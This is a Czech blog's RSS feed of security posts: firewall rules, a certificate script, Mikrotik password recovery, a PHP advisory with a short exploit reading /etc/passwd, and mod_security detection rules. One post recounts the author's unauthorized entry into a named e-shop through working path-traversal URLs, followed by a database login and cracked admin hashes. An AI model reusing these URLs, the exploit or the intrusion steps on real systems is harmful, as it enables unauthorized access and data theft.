<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hodžův blog &#187; Bezpečnost</title>
	<atom:link href="http://hodza.net/category/linux/bezpecnost/feed/" rel="self" type="application/rss+xml" />
	<link>http://hodza.net</link>
	<description>I přestože jsem paranoidní neznamená, že mě nedostanou...</description>
	<lastBuildDate>Sat, 05 May 2012 08:18:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>HowTo block facebook with iptables</title>
		<link>http://hodza.net/2012/03/18/howto-block-facebook-with-iptables/</link>
		<comments>http://hodza.net/2012/03/18/howto-block-facebook-with-iptables/#comments</comments>
		<pubDate>Sun, 18 Mar 2012 10:50:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Scriptíky]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[iptables]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=2213</guid>
		<description><![CDATA[Insert these lines into your firewall: iptables -t filter -I FORWARD -s 192.168.0.0/24 -m tcp -p tcp -m iprange --dst-range 66.220.144.0-66.220.159.255 --dport 443 -j DROP iptables -t filter -I FORWARD -s 192.168.0.0/24 -m tcp -p tcp -m iprange --dst-range 69.63.176.0-69.63.191.255 --dport 443 -j DROP iptables -t filter -I FORWARD -s 192.168.0.0/24 -m tcp -p tcp [...]]]></description>
			<content:encoded><![CDATA[<p>Insert these lines into your firewall:<br />
<code>iptables -t filter -I FORWARD -s 192.168.0.0/24 -m tcp -p tcp -m iprange --dst-range 66.220.144.0-66.220.159.255 --dport 443 -j DROP<br />
iptables -t filter -I FORWARD -s 192.168.0.0/24 -m tcp -p tcp -m iprange --dst-range 69.63.176.0-69.63.191.255 --dport 443 -j DROP<br />
iptables -t filter -I FORWARD -s 192.168.0.0/24 -m tcp -p tcp -m iprange --dst-range 69.171.220.0-69.171.234.255 –dport 443 -j DROP<br />
iptables -t filter -I FORWARD -s 192.168.0.0/24 -m tcp -p tcp -m iprange --dst-range 204.15.20.0-204.15.23.255 --dport 443 -j DROP<br />
iptables -t filter -I FORWARD -s 192.168.0.0/24 -m tcp -p tcp -m iprange --dst-range 66.220.144.0-66.220.159.255 --dport 80 -j DROP<br />
iptables -t filter -I FORWARD -s 192.168.0.0/24 -m tcp -p tcp -m iprange --dst-range 69.171.220.0-69.171.234.255 –dport 80 -j DROP<br />
iptables -t filter -I FORWARD -s 192.168.0.0/24 -m tcp -p tcp -m iprange --dst-range 69.63.176.0-69.63.191.255 --dport 80 -j DROP<br />
iptables -t filter -I FORWARD -s 192.168.0.0/24 -m tcp -p tcp -m iprange --dst-range 204.15.20.0-204.15.23.255 --dport 80 -j DROP</code><br />
Pretty simply eh?</p>
<p><i>Update 1.4.2012:</i><br />
<a title="Facebook subnets" href="http://whois.arin.net/rest/org/THEFA-3/nets" target="_blank">Registered Facebook subnets (ARIN)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2012/03/18/howto-block-facebook-with-iptables/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Generování Self-Signed Certifikátu skriptem</title>
		<link>http://hodza.net/2009/06/09/generovani-self-signed-certifikatu-skriptem/</link>
		<comments>http://hodza.net/2009/06/09/generovani-self-signed-certifikatu-skriptem/#comments</comments>
		<pubDate>Tue, 09 Jun 2009 07:23:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Scriptíky]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=245</guid>
		<description><![CDATA[Už mě to nebaví pořád psát, takže: #!/bin/bash SERVER_NAME=$1 OPENSSL_PATH=/usr/bin/openssl $OPENSSL_PATH genrsa -des3 -out $SERVER_NAME.key 1024 $OPENSSL_PATH genrsa -out $SERVER_NAME.key 1024 $OPENSSL_PATH rsa -in $SERVER_NAME.key -out $SERVER_NAME.pem $OPENSSL_PATH req -new -key $SERVER_NAME.pem -out $SERVER_NAME.csr $OPENSSL_PATH x509 -req -days 365 -in $SERVER_NAME.csr -signkey $SERVER_NAME.pem -out $SERVER_NAME.crt]]></description>
			<content:encoded><![CDATA[<p>Už mě to nebaví pořád psát, takže:</p>
<p><code>#!/bin/bash<br />
SERVER_NAME=$1<br />
OPENSSL_PATH=/usr/bin/openssl<br />
$OPENSSL_PATH genrsa -des3 -out $SERVER_NAME.key 1024<br />
$OPENSSL_PATH genrsa -out $SERVER_NAME.key 1024<br />
$OPENSSL_PATH rsa -in $SERVER_NAME.key -out $SERVER_NAME.pem<br />
$OPENSSL_PATH req -new -key $SERVER_NAME.pem -out $SERVER_NAME.csr<br />
$OPENSSL_PATH x509 -req -days 365 -in $SERVER_NAME.csr -signkey $SERVER_NAME.pem -out $SERVER_NAME.crt<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2009/06/09/generovani-self-signed-certifikatu-skriptem/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>České eshopy &#8222;rozdávají&#8220; Vaše data</title>
		<link>http://hodza.net/2008/03/17/ceske-eshopy-rozdavaji-vase-data/</link>
		<comments>http://hodza.net/2008/03/17/ceske-eshopy-rozdavaji-vase-data/#comments</comments>
		<pubDate>Mon, 17 Mar 2008 11:17:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Hack/Crack]]></category>

		<guid isPermaLink="false">http://hodza.net/2008/03/17/ceske-eshopy-rozdavaji-vase-data/</guid>
		<description><![CDATA[Nakupování v eshopech se u nás stalo celkem běžnou záležitostí. Není se také čemu divit &#8211; ceny bývají oproti kamenným obchodům většinou nesrovnatelné (nesrovnatelně nízké). Zboží si můžeme interaktivně prohlédnout v teple domova, zaplatit převodem přes internet, nechat doručit dobírkou a když se nám nelíbí tak ho zase vrátit. Možná to zní jako pohádka, ale [...]]]></description>
			<content:encoded><![CDATA[<p>Nakupování v eshopech se u nás stalo celkem běžnou záležitostí. Není se také čemu divit &#8211; ceny bývají oproti kamenným obchodům většinou nesrovnatelné (nesrovnatelně nízké). Zboží si můžeme interaktivně prohlédnout v teple domova, zaplatit převodem přes internet, nechat doručit dobírkou a když se nám nelíbí tak ho zase vrátit. Možná to zní jako pohádka, ale to neznamená, že náš příběh bude mít dobrý konec&#8230;<br />
<span id="more-116"></span><br />
Málo kdo si totiž uvědomuje, že se současným vyplněním objednávky v eshopu zanechává svůj &#8222;otisk&#8220;. Eshopy obvykle shromažďují data nezbytně nutná (jako je jméno, adresa či telefon). Nebývá ale vy jímkou, když si uloží také údaje mnohem citlivější &#8211; jako jsou například informace o vaší platební kartě.</p>
<p>V tom lepším případě, by při nabourání obchodu &#8222;hackerem&#8220;, mohlo vyjít najevo, že si každý měsíc po výplatě objednáváte nějakou sprosťárničku v sexshopu. V horším případě útočník zjistí i heslo a bude si tak moct číst vaši soukromou poštu s přítelkyní/milenkou/manželkou neboť do emailu zadáváte stejné heslo jako do eshopu. Pokud chcete slyšet hororové scénáře, pak věřte, že není problém využít uložených informací o vaší kartě a objednat si tak jakékoliv zboží, které ve výsledku ovšem nezaplatí útočník, ale vy z vaší karty.</p>
<p>Stále si myslíte, že se vám to nemůže stát neboť nakupujete pouze v renomovaných a velkých eshopech? Chyba!</p>
<p>Před před více jak týdnem jsem zcela náhodou objevil na <a href="http://www.sitecore.cz/">stránkách</a> jednoho z největších českých prodejců outdoorového vybavení &#8211; firmy Rock point zcela zásadní (a naprosto školáckou) bezpečnostní chybu. Ihned jsem prodejce emailově kontaktoval a problém mu nastínil. Bohužel do dnešního dne jsem neobdržel odpověď a chyba je stále neopravená.</p>
<p>O co jde?</p>
<p>Při hledání dokumentace k jednomu z výrobků jsem narazil na následující odkaz:</p>
<p><a href="http://www.rockpoint.cz/download.php?soubor=soubory/seznam_odberatelu_NET.xls" title="http://www.rockpoint.cz/download.php?soubor=soubory/seznam_odberatelu_NET.xls">http://www.rockpoint.cz/download.php?soubor=soubory/seznam_odberatelu_NET.xls</a></p>
<p>Nebývá zrovna zvykem, že by prodejce uveřejňoval seznam svých odběratelů. To ve mě vyvolalo pocit, že tato <a href="http://www.sitecore.cz/">stránka</a> měla být před zraky zákazníků ukryta. Začal jsem přemýšlet, co by se stalo, kdybych zadal jako parametr jiný soubor než je seznam_odberatelu_NET.xls. Po chvíli jsem tedy do adresního řádku zadal následující adresu:</p>
<p><a href="http://www.rockpoint.cz/download.php?soubor=soubory/../index.php" title="http://www.rockpoint.cz/download.php?soubor=soubory/../index.php">http://www.rockpoint.cz/download.php?soubor=soubory/../index.php</a></p>
<p>Při čemž &#8222;index.php&#8220; bývá &#8222;startovací <a href="http://www.sitecore.cz/">stránkou</a>&#8220; webu a řetězec &#8222;../&#8220; značí, že se jedná o nadřazený adresář.<br />
To co se stalo mi téměř vyrazilo dech. Zobrazila se mi totiž opravdu zdrojová <a href="http://www.sitecore.cz/">stránka</a> souboru index.php. Opravdu bych nečekal, že u tak velkého prodejce narazím na tak kritickou chybu.</p>
<p>Ze zvědavosti jsem stejným způsobem procházel všechny ostatní soubory na serveru, až jsem došel k následujícímu:</p>
<p><a href="http://www.rockpoint.cz/download.php?soubor=inc/conf_databaze.php" title="http://www.rockpoint.cz/download.php?soubor=inc/conf_databaze.php">http://www.rockpoint.cz/download.php?soubor=inc/conf_databaze.php</a></p>
<p>Tento soubor (jak je již patrné z názvu) obsahuje data potřebná pro připojení k My SQL databázi.<br />
Tím ovšem má zvědavost neskončila. Rozhodl jsem se výsledek ověřit.</p>
<p>V konfiguračním souboru je uveden jako My SQL host &#8222;uvdb4.globe.cz&#8220;. Vzdálený přístup k této databázi sice není povolen, ale to mě nemohlo odradit. Po chvíli hledání jsem zjistil, že se jedná o server, který je provozován v rámci hostingu Active 24. Na stejnojmenných <a href="http://www.sitecore.cz/">stránkách</a> jsem pak v sekci podpora našel odkaz k PHPMyAdminovi, který umožňuje spravovat My SQL databáze pomocí web prohlížeče. Kliknul jsem na link a zadal přihlašovací údaje. Nemohlo následovat nic jiného, než úspěšné přihlášení. Přede mnou byl kompletní seznam všech výrobků, uživatelů, objednávek a seznamů prodejen. V podstatě bych v této chvíli mohl eshop plně ovládnout, ale mě zajímala poslední neprozkoumaná věc &#8211; administrativní sekce obchodu.</p>
<p>Administrační sekci nebylo zase tak těžké najít. Kupodivu se nacházela na url:</p>
<p><a href="http://www.rockpoint.cz/admin/" title="http://www.rockpoint.cz/admin/">http://www.rockpoint.cz/admin/</a></p>
<p>Nahlédl jsem zpět do tabulky administrátorů, abych zjistil přihlašovací jméno a heslo. Zde byla alespoň nějaká snaha o zabezpečení &#8211; heslo bylo zakódováno pomocí algoritmu MD5. Bohužel tento algoritmus je už dnes &#8222;překonaný&#8220;. heslo prvního administrátora jsem tak &#8222;rozlouskl&#8220; díky jeho jednoduchosti přes jednu z online HASH databází. Heslo druhého administrátora bylo sice složitější, ovšem pod útokem rainbow tabulek bylo  později prolomeno také. Oba účty jsem ještě otestoval &#8211; byly funkční. Tím má &#8222;práce&#8220; skončila.</p>
<p>Výše uvedený text nenabádá k zneužití popsané chyby. Text byl sepsán z důvodu laxního přístupu administrátorů danných <a href="http://www.sitecore.cz/">stránek</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2008/03/17/ceske-eshopy-rozdavaji-vase-data/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Chráněno: Hacked gallery &#8211; 11.3.2008</title>
		<link>http://hodza.net/2008/03/11/hacked-gallery-1132008/</link>
		<comments>http://hodza.net/2008/03/11/hacked-gallery-1132008/#comments</comments>
		<pubDate>Tue, 11 Mar 2008 10:46:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Hack/Crack]]></category>

		<guid isPermaLink="false">http://hodza.net/2008/03/11/hacked-gallery-1132008/</guid>
		<description><![CDATA[Stručný obsah příspěvku zde není uveden, protože je tento příspěvek chráněn heslem.]]></description>
			<content:encoded><![CDATA[<form action="http://hodza.net/wp-pass.php" method="post">
<p>Tento příspěvek je chráněn heslem. Pokud ho chcete zobrazit, zadejte prosím heslo:</p>
<p><label for="pwbox-106">Heslo:<br />
<input name="post_password" id="pwbox-106" type="password" size="20" /></label><br />
<input type="submit" name="Submit" value="Potvrdit" /></p></form>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2008/03/11/hacked-gallery-1132008/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Chráněno: Hacked gallery &#8211; 7.3.2008</title>
		<link>http://hodza.net/2008/03/07/hacked-gallery/</link>
		<comments>http://hodza.net/2008/03/07/hacked-gallery/#comments</comments>
		<pubDate>Fri, 07 Mar 2008 08:28:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Hack/Crack]]></category>

		<guid isPermaLink="false">http://hodza.net/2008/03/07/hacked-gallery/</guid>
		<description><![CDATA[Stručný obsah příspěvku zde není uveden, protože je tento příspěvek chráněn heslem.]]></description>
			<content:encoded><![CDATA[<form action="http://hodza.net/wp-pass.php" method="post">
<p>Tento příspěvek je chráněn heslem. Pokud ho chcete zobrazit, zadejte prosím heslo:</p>
<p><label for="pwbox-81">Heslo:<br />
<input name="post_password" id="pwbox-81" type="password" size="20" /></label><br />
<input type="submit" name="Submit" value="Potvrdit" /></p></form>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2008/03/07/hacked-gallery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mikrotik password recovery aneb zapomenuté heslo &#8211; žádný problém</title>
		<link>http://hodza.net/2008/02/13/mikrotik-password-recovery-aneb-zapomenute-heslo-zadny-problem/</link>
		<comments>http://hodza.net/2008/02/13/mikrotik-password-recovery-aneb-zapomenute-heslo-zadny-problem/#comments</comments>
		<pubDate>Wed, 13 Feb 2008 11:43:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Distribuce]]></category>
		<category><![CDATA[Hack/Crack]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Mikrotik]]></category>

		<guid isPermaLink="false">http://hodza.net/2008/02/13/mikrotik-password-recovery-aneb-zapomenute-heslo-zadny-problem/</guid>
		<description><![CDATA[Přináším Vám postup, jak se lehce z Kubuntu Linuxu dostaneme k zapomenutému heslu na routerboardu se systémem Mikrotik. 1. Zapojíme USB-&#62;COM redukci. U mě se redukce namapuje na ttyUSB0 &#8211; viz hláška z dmesg [ 8446.216000] usb 1-1: pl2303 converter now attached to ttyUSB0 2. Nainstalujeme TFTP server # sudo apt-get install atftpd 3. Opravíme [...]]]></description>
			<content:encoded><![CDATA[<p>Přináším Vám postup, jak se lehce z Kubuntu Linuxu dostaneme k zapomenutému heslu na routerboardu se systémem Mikrotik.</p>
<p>1. Zapojíme USB-&gt;COM redukci. U mě se redukce namapuje na ttyUSB0 &#8211; viz hláška z dmesg</p>
<p><code>[ 8446.216000] usb 1-1: pl2303 converter now attached to ttyUSB0</code></p>
<p>2. Nainstalujeme TFTP server<br />
<code># sudo apt-get install atftpd</code></p>
<p><span id="more-80"></span></p>
<p>3. Opravíme konfiguraci démona xinet přidáním parametru &#8222;-inetd_compat&#8220;<br />
<code># sudo vi /etc/default/xinetd</code><br />
<code>XINETD_OPTS="-stayalive -inetd_compat"</code></p>
<p>4. Nahrajeme alternativní kernel s podporou yaffs2 do adresáře /tftpboot</p>
<p>5. Nainstalujeme DHCP server<br />
<code># sudo apt-get install dhcp3-server</code></p>
<p>6. Nastavíme parametry DHCP serveru<br />
<code># sudo vi /etc/dhcp3/dhcpd.conf</code><br />
<code>default-lease-time 21600;<br />
max-lease-time 43200;<br />
option domain-name-servers 10.0.0.1;<br />
option netbios-name-servers 10.0.0.1;<br />
option netbios-node-type 8;<br />
option www-server 10.0.0.1;<br />
authoritative;<br />
allow booting;<br />
allow bootp;</code></p>
<p><code>subnet 10.0.0.0 netmask 255.255.255.0<br />
{<br />
option routers 10.0.0.1;<br />
option subnet-mask 255.255.255.0;<br />
option broadcast-address 10.0.0.255;<br />
filename "/tftpboot/linuxrc";<br />
range 10.0.0.10 10.0.0.100;<br />
}</code></p>
<p>7. Nastavíme IP adresu na našem síťovém rozhraní, spustíme DHCP a TFTP server<br />
<code>sudo ifconfig eth0 down<br />
sudo ifconfig eth0 10.0.0.1 up<br />
sudo /etc/init.d/xinetd restart<br />
sudo /etc/init.d/dhcp3-server start</code></p>
<p>8. Spustíme konfiguraci minicomu<br />
<code># minimcom -s</code></p>
<p>Vybereme položku &#8222;Nastavení sériového portu&#8220; a nastavíme následující parametry:</p>
<p><code>A - Sériové zařízení           : /dev/ttyUSB0<br />
B - Umístění zámku             : /var/lock<br />
C - Program pro příchozí volání:<br />
D - Program pro odchozí volání :<br />
E - Bps/Par/Bity               : 115200 8N1<br />
F - Hardwarová kontrola toku   : Ano<br />
G - Softwarová kontrola toku   : Ne</code></p>
<p>Připojíme kabel do Mikrotiku<br />
Mělo by se zobrazit:<br />
<code>MikroTik 2.9.46<br />
MikroTik Login:</code></p>
<p>Rebootujeme Mikrotik</p>
<p>Zobrazí se:<br />
<code>RouterBOOT booter 2.10<br />
RouterBoard 532A<br />
CPU frequency: 399 MHz<br />
Memory size:  64 MB<br />
Press any key within 2 seconds to enter setup.</code></p>
<p>Zmáčkneme libovolnou klávesu dříve, než vyprší interval.</p>
<p>Zobrazí se:<br />
<code>RouterBOOT-2.10<br />
What do you want to configure?<br />
d - boot delay<br />
k - boot key<br />
s - serial console<br />
o - boot device<br />
u - cpu mode<br />
f - try cpu frequency<br />
c - keep cpu frequency<br />
r - reset configuration<br />
e - format nand<br />
g - upgrade firmware<br />
i - board info<br />
p - boot protocol<br />
t - do memory testing<br />
x - exit setup<br />
your choice:</code></p>
<p>Vyberme &#8222;o&#8220; pro volbu &#8222;boot device&#8220;.</p>
<p>Zobrazí se:<br />
<code>Select boot device:<br />
e - boot over Ethernet<br />
* n - boot from NAND, if fail then Ethernet<br />
c - boot from CompactFlash only<br />
1 - boot Ethernet once, then NAND<br />
2 - boot Ethernet once, then CompactFlash<br />
o - boot from NAND only<br />
b - boot chosen device<br />
your choice:</code></p>
<p>Vybereme &#8222;1&#8243; pro boot z Ethernetu (a následně NAND)</p>
<p>Zobrazí se:<br />
<code>RouterBOOT-2.10<br />
What do you want to configure?<br />
d - boot delay<br />
k - boot key<br />
s - serial console<br />
o - boot device<br />
u - cpu mode<br />
f - try cpu frequency<br />
c - keep cpu frequency<br />
r - reset configuration<br />
e - format nand<br />
g - upgrade firmware<br />
i - board info<br />
p - boot protocol<br />
t - do memory testing<br />
x - exit setup<br />
your choice:</code></p>
<p>Vybereme &#8222;p&#8220; pro &#8222;boot protocol&#8220;.</p>
<p>Zobrazí se:<br />
<code>Choose which boot protocol to use:<br />
1 - bootp protocol<br />
* 2 - dhcp protocol<br />
your choice:</code></p>
<p>Vybereme &#8222;2&#8243; pro &#8222;dhcp&#8220; protocol&#8220;</p>
<p>Zobrazí se nám opět úvodní menu<br />
<code>What do you want to configure?<br />
d - boot delay<br />
k - boot key<br />
s - serial console<br />
o - boot device<br />
u - cpu mode<br />
f - try cpu frequency<br />
c - keep cpu frequency<br />
r - reset configuration<br />
e - format nand<br />
g - upgrade firmware<br />
i - board info<br />
p - boot protocol<br />
t - do memory testing<br />
x - exit setup<br />
your choice:</code></p>
<p>Vybereme &#8222;x&#8220; pro uložení a opuštění setupu. Mikrotik se znovu rebootuje.</p>
<p>Nyní by se měl načíst nový kernel &#8211; v mém případě z opravené distribuce OpenWrt<br />
<code>BusyBox v1.4.2 (2008-01-15 11:43:12 CET) Built-in shell (ash)<br />
Enter 'help' for a list of built-in commands.<br />
_______                     ________        __<br />
|       |.-----.-----.-----.|  |  |  |.----.|  |_<br />
|   -   ||  _  |  -__|     ||  |  |  ||   _||   _|<br />
|_______||   __|_____|__|__||________||__|  |____|<br />
|__| W I R E L E S S   F R E E D O M<br />
KAMIKAZE (7.09) -----------------------------------<br />
* 10 oz Vodka       Shake well with ice and strain<br />
* 10 oz Triple sec  mixture into 10 shot glasses.<br />
* 10 oz lime juice  Salute!<br />
---------------------------------------------------<br />
root@OpenWrt:/#</code></p>
<p>Vypíšeme si jednotlivé blokové zařízení<br />
<code>#cat /proc/mtd</code><br />
<code>dev:    size   erasesize  name<br />
mtd0: 00400000 00004000 "RouterBoard NAND Boot"<br />
mtd1: 03c00000 00004000 "RouterBoard NAND Main"</code></p>
<p>Připojíme filesystém na kterém jsou uložena hesla<br />
<code># mount -t yaffs2 -o ro /dev/mtdblock1 /mnt</code></p>
<p>Na PC si spustíme netcat s následujícími parametry<br />
<code>sudo /bin/netcat -l -p 666 &gt; user.dat</code></p>
<p>Na mikrotiku zobrazíme soubor s hesly a přes netcat ho pošleme do PC<br />
<code>cat /mnt/nova/store/user.dat|nc 10.0.0.1 666</code></p>
<p>Na PX spustíme nástroj na lámání hesel<br />
<code># ./mtpass user.dat</code><br />
<code>mtpass v0.2 - MikroTik RouterOS password recovery tool<br />
Reading file user.dat, 213 bytes long<br />
Rec# | Username        | Password           | Disable flag   | User comment<br />
--------------------------------------------------------------------------------------------<br />
1    | admin           | mojeheslo          |                | system default user</code></p>
<p>Návod vychází z informací na stránkách <a title="Mikrotik password recovery" href="http://manio.skyboo.net/mikrotik/">http://manio.skyboo.net/mikrotik/</a><br />
Autor neručí za případné škody při použití tohoto návodu.</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2008/02/13/mikrotik-password-recovery-aneb-zapomenute-heslo-zadny-problem/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>PHP</title>
		<link>http://hodza.net/2007/10/15/php/</link>
		<comments>http://hodza.net/2007/10/15/php/#comments</comments>
		<pubDate>Mon, 15 Oct 2007 11:10:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Hack/Crack]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[MySQL]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=23</guid>
		<description><![CDATA[První díl, ze &#8222;seriálu o bezpečnosti&#8220;, aneb tuníme náš server&#8230; Vztahuje se k: &#60; = PHP 5.2.3 &#60;= PHP 4.4.7 CVE: CVE-2007-3997 Problém: Díky rozšířením MySQL a MySQLi v PHP lze obejít bezpečnostní politiku safe_mode. Detail: Pomocí funkce MySQL LOCAL INFILE lze získat libovolný soubor ze systému. Řešení: 1) Kompilovat MySQL klienta s parametrem &#8222;&#8211;disable-local-infile&#8220; [...]]]></description>
			<content:encoded><![CDATA[<p>První díl, ze &#8222;seriálu o bezpečnosti&#8220;, aneb tuníme náš server&#8230;</p>
<p><span id="more-23"></span></p>
<p><strong>Vztahuje se k:</strong><br />
&lt; = PHP 5.2.3<br />
&lt;= PHP 4.4.7</p>
<p><strong>CVE:</strong><br />
CVE-2007-3997</p>
<p><strong>Problém:</strong><br />
Díky rozšířením MySQL a MySQLi v PHP lze obejít bezpečnostní politiku safe_mode.</p>
<p><strong>Detail:</strong><br />
Pomocí funkce MySQL LOCAL INFILE lze získat libovolný soubor ze systému.</p>
<p><strong>Řešení:</strong><br />
1) Kompilovat MySQL klienta s parametrem &#8222;&#8211;disable-local-infile&#8220;<br />
- nepomůže při použití MySQLi, neboť volba se dá znovu povolit příkazem &#8222;mysqli-&gt;options(MYSQLI_OPT_LOCAL_INFILE, 1);&#8220;<br />
2) Do konfiguračního souboru (/etc/mysql/my.cnf) vložit (do sekce [mysqld]) &#8222;set-variable=local-infile=0&#8243;.</p>
<p><strong>Exploit:</strong><br />
function r($fp, &amp;$buf, $len, &amp;$err) {print fread($fp, $len);}<br />
$m = new mysqli(&#8216;localhost&#8217;, &#8216;aaaa&#8217;, &#8220;, &#8216;a&#8217;);<br />
$m-&gt;options(MYSQLI_OPT_LOCAL_INFILE, 1);<br />
$m-&gt;set_local_infile_handler(&#8222;r&#8220;);<br />
$m-&gt;query(&#8222;LOAD DATA LOCAL INFILE &#8216;/etc/passwd&#8217; INTO TABLE a.a&#8220;);<br />
$m-&gt;close();</p>
]]></content:encoded>
			<wfw:commentRss>http://hodza.net/2007/10/15/php/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Apache mod-security</title>
		<link>http://hodza.net/2007/03/21/apache-mod-security/</link>
		<comments>http://hodza.net/2007/03/21/apache-mod-security/#comments</comments>
		<pubDate>Wed, 21 Mar 2007 10:46:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Bezpečnost]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://hodza.net/?p=52</guid>
		<description><![CDATA[Několikrát jsem měl bohužel tu &#8222;čest&#8220; nahlédnout do zdrojových kódů webových stránek našich klientů a teda řeknu Vám fuj&#8230; Troufám si říct, že bych byl schopný během několika málo vteřin vymyslet alespoň 10 XSS útoků. Vzhledem k tomu, že tato firma u nás hostuje více jak 300 různých portálů, bylo mi jasné, že oprava všech [...]]]></description>
			<content:encoded><![CDATA[<p>Několikrát jsem měl bohužel tu &#8222;čest&#8220; nahlédnout do zdrojových kódů webových stránek našich klientů a teda řeknu Vám fuj&#8230; Troufám si říct, že bych byl schopný během několika málo vteřin vymyslet alespoň 10 XSS útoků. Vzhledem k tomu, že tato firma u nás hostuje více jak 300 různých portálů, bylo mi jasné, že oprava všech php scriptů je nemožná a tak jsem přemýšlel, jak jim alespoň trochu pomoci s bezpečností z mé strany.<span id="more-52"></span></p>
<p>Původně jsem zamýšlel použít globalní .htaccess a vněm mod_rewrite. Chtěl jsem parsovat veškeré požadavky na jednotlivé portály a sanitizovat je. Ačkoliv se toto řešení jevilo jako správné, v praxi jsem od něj musel upustit a najít řešení lepší. Oprášil jsem tak své záložky v prohlížeči a narazil na mod_security do Apache. Něco málo jsem o něm slyšel a už dlouho jsem ho chtěl vyzkoušet &#8211; teď k tomu byla velice vhodná příležitost.</p>
<p><strong>Instalace na debianu byla více než snadná:</strong></p>
<p># 1. Nejprve jsem nainstaloval samotný modul<br />
<code>apt-get install libapache2-mod-security</code></p>
<p># 2. Následně jsem jej povolili ke spuštění v Apache<br />
<code>a2enmod mod-security</code></p>
<p># 3. Nechtěl jsem vymýšlet celou konfiguraci z hlavy a tak jsem si zkopíroval vzorovou<br />
<code>cp /usr/share/doc/libapache2-mod-security/examples/httpd2.conf.example-full /etc/apache2/conf.d/mod_security.conf</code></p>
<p># 4. A tu jsem si upravil<br />
<code>vi /etc/apache2/conf.d/mod_security.conf</code><br />
<code><ifmodule><br />
SecFilterEngine On<br />
SecFilterCheckURLEncoding On<br />
SecFilterCheckUnicodeEncoding Off<br />
SecFilterForceByteRange 0 255<br />
SecAuditEngine RelevantOnly<br />
SecAuditLog /var/log/apache2/audit_log<br />
SecFilterDebugLog /var/log/apache2/modsec_debug_log<br />
SecFilterDebugLevel 0<br />
SecFilterScanPOST On<br />
SecFilterDefaultAction "deny,log,status:500"<br />
SecFilter /etc/[0-9a-z]<br />
SecFilter /bin/[0-9a-z]<br />
SecFilter /usr/[0-9a-z]<br />
SecFilter /usr/bin/[0-9a-z]<br />
SecFilter /tmp/[0-9a-z]<br />
SecFilter cd\x20/tmp<br />
SecFilter wget\x20<br />
SecFilter "delete[[:space:]]+from"<br />
SecFilter "insert[[:space:]]+into"<br />
SecFilter "select.+from"<br />
SecFilter "&lt; [[:space:]]*script"<br />
#SecFilter "&lt;(.|\n)+&gt;"<br />
</ifmodule></code></p>
<p># 6. Následoval reload Apache serveru<br />
<code>/etc/init.d/apache2 force-reload</code></p>
<p><strong>Co to všechno umí?</strong><br />
Mod_security nám vyčistí veškeré požadavky (jak GEt tak i POST) od zbytečných dvojitých lomítek (//), odkazů na sebe sama (./), dokáže zaměnit &#8222;\&#8220; za &#8222;/&#8220;, přehodí %00 za obyčejnou mezeru kontroluje validitu a bytovou přesnost požadavku, dokáže vyhodnotit požadavek na základě regexpů.</p>
<p>Na základě detekce &#8222;řetezce&#8220; je pak podle konfiguračního souboru (SecFilterDefaultAction) schopný vytvořit i několik akcí mezi něž patří:<br />
deny &#8211; zakáže požadavek<br />
allow &#8211; zastaví kontrolu pravidel a povolí request<br />
status:xxx, &#8211; odpoví s HTTP statusem xxx<br />
redirect:url, &#8211; přesměruje požadavek na danou (absolutní) adresu<br />
exec:cmd &#8211; vykoná příkaz cmd (vhodné s nějakým odesílátkem emailů)<br />
log &#8211; uloží request s detaily do logu<br />
nolog &#8211; neukládá request do logu<br />
pass &#8211; ignoruje toto pravidlo a pokračuje v dalších pravidlech<br />
pause:xxx &#8211; pozdrží request o xxx milisekund (pozor at neprovedete DoS útok na sebe sami)<br />
chain &#8211; skočí na další pravidlo v chainu<br />
